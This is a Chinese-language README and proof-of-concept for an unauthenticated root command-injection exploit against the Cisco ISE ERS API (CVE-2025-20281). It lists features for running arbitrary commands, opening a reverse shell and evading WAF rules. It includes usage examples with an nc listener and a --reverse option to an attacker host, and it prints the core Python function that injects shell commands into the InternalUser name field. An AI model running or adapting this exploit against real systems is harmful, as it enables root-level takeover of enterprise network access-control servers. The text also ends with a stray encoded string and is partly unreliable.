CVE-2025-20281 — Cisco ISE ERS API 未授权远程命令执行漏洞利用工具
本项目是一个针对 CVE-2025-20281 漏洞的概念验证(PoC)与利用工具。该漏洞存在于 Cisco Identity Services Engine (ISE) 中,允许未经身份验证的远程攻击者通过 ERS API 以 root 权限执行任意系统命令,风险极高。
🩻 漏洞概述
Cisco ISE 的 ERS /ers/sdk#_ 端点在处理用户创建请求时,未能正确验证用户身份。攻击者可以通过在 InternalUser 对象的 name 参数中注入 shell 命令,从而实现以 root 权限执行任意命令。
- CVE ID: CVE-2025-20281
- 受影响组件: 启用 ERS 的 Cisco ISE 策略管理节点 (PAN)
- 严重性: 严重 (CVSS 9.8)
- 身份验证: 无需任何身份验证
✨ 功能特性
- 无需认证:直接利用漏洞,无需提供任何会话令牌或登录凭证。
- 命令执行:支持执行任意系统命令 (
--cmd)。 - 快速验证:内置
--whoami参数,快速检测目标是否存在漏洞。 - 反弹Shell:内置
--reverse参数,一键生成反向Shell命令并发送,方便获取交互式访问。 - 请求伪装:使用常见的
User-Agent和Content-Type头,有助于绕过简单的Web应用防火墙(WAF)规则。 - SSL兼容:默认禁用SSL证书验证,并压制警告信息,方便在自签名证书环境下使用。
📥 安装指南
系统要求
- Python: 3.6 或更高版本
- 依赖库:
requests
安装步骤
-
克隆代码仓库到本地:
git clone https://github.com/your-repo/CVE-2025-20281.git cd CVE-2025-20281 -
(可选)创建并激活Python虚拟环境,以隔离依赖:
python3 -m venv venv source venv/bin/activate # 在 Windows 上使用 `venv\Scripts\activate` -
安装所需的Python库:
pip install requests
🚀 使用说明
该工具通过命令行参数进行操作,基本语法如下:
python3 CVE-2025-20281.py TARGET [--whoami | --cmd "命令" | --reverse LHOST LPORT]
基础使用示例
1. 快速验证漏洞 (执行 whoami 命令)
检查目标 192.168.1.10 是否存在漏洞,并查看执行命令的用户身份。
python3 CVE-2025-20281.py 192.168.1.10 --whoami
2. 执行自定义命令
在目标上执行 id && hostname 命令,查看用户ID和主机名。
python3 CVE-2025-20281.py 192.168.1.10 --cmd "id && hostname"
3. 获取反向Shell
在攻击机 10.10.14.99 上使用 nc 监听端口 4444:
nc -lvnp 4444
然后在目标上执行反向Shell连接:
python3 CVE-2025-20281.py 192.168.1.10 --reverse 10.10.14.99 4444
💻 核心代码
以下是工具的核心利用函数 exploit_cve_2025_20281_unauth,它封装了构造恶意请求并发送至漏洞端点的完整逻辑。
#!/usr/bin/env python3
import requests
import urllib3
# Suppress SSL warnings for self-signed certificates
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def exploit_cve_2025_20281_unauth(target, cmd):
"""
Exploit CVE-2025-20281 - Cisco ISE ERS API unauthenticated RCE
通过注入恶意命令到InternalUser对象的name字段,实现未授权远程代码执行。
"""
# 目标漏洞端点
url = f"https://{target}:9060/ers/sdk#_"
# 恶意payload: 将系统命令注入到name字段中,使用分号分隔并结束注释
payload = {
"InternalUser": {
"name": f"pwn; {cmd}; #", # 命令注入点
"password": "x", # 密码字段为占位符,不影响执行
"changePassword": False
}
}
# 请求头伪装成正常流量
headers = {
"Content-Type": "application/json",
"Accept": "application/json",
"User-Agent": "Mozilla/5.0" # 模拟浏览器请求
}
try:
# 发送POST请求,忽略SSL证书验证
response = requests.post(url, json=payload, headers=headers, verify=False, timeout=10)
print(f"[+] HTTP {response.status_code}")
if response.ok:
# 如果请求成功,返回的响应体中可能包含命令执行的结果
print(response.text)
else:
print("[!] Server responded with error, may not be vulnerable.")
except requests.exceptions.RequestException as e:
print(f"[!] Request failed: {e}")
此函数的核心在于构造的 payload。通过在 name 字段中注入 ; cmd; #,攻击者可以结束原始的JSON结构并插入任意系统命令,同时用 # 注释掉后续的JSON内容,确保请求格式仍然有效。FINISHED
6HFtX5dABrKlqXeO5PUv/09fxx6vtPhIuDfUs5dLzn+h0Vcvr3rjwCr15chJj2sO